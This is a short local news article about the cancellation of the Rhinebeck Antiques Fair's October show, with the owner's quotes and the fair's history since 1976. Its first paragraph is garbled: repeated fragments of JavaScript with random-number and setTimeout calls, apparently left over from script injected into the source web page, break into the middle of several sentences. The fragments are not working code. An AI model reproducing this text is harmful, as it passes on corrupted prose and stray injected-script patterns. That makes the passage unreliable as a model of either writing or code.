RHINEBECK, N.Y. — “We are heartbroken to do it, but due to the lack of dealers to take part in the October 11–12 show, we have had to cancel the event,” Bruce Garrett, owner andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and manager of the Rhinebeck Antiques Fair, said on Monday morning. This 38-year-old antiques show, which was first started on June 11–13, 1976, at Bard College, under the management of Bill Walter, has reigned over the years as one of the most popular fall events. Bill Walter ran the show for many years, followed by Jimmy Barton, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and following Jimmy’s death it was taken over by Bruce Garrett, who has been associated with the show since 1997 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and owned it since 2003.
“Circumstances beyond our control caused us to cancel, but we have not given up our regular dates for 2015,” Bruce said. He indicated that “we will have to reinvent any plans for the spring, but as of the moment we are not completely sure of the direction to take.” This year’s Columbus Day weekend dates have been relinquished, but to date no other show has been scheduled for the Dutchess County Fairgrounds.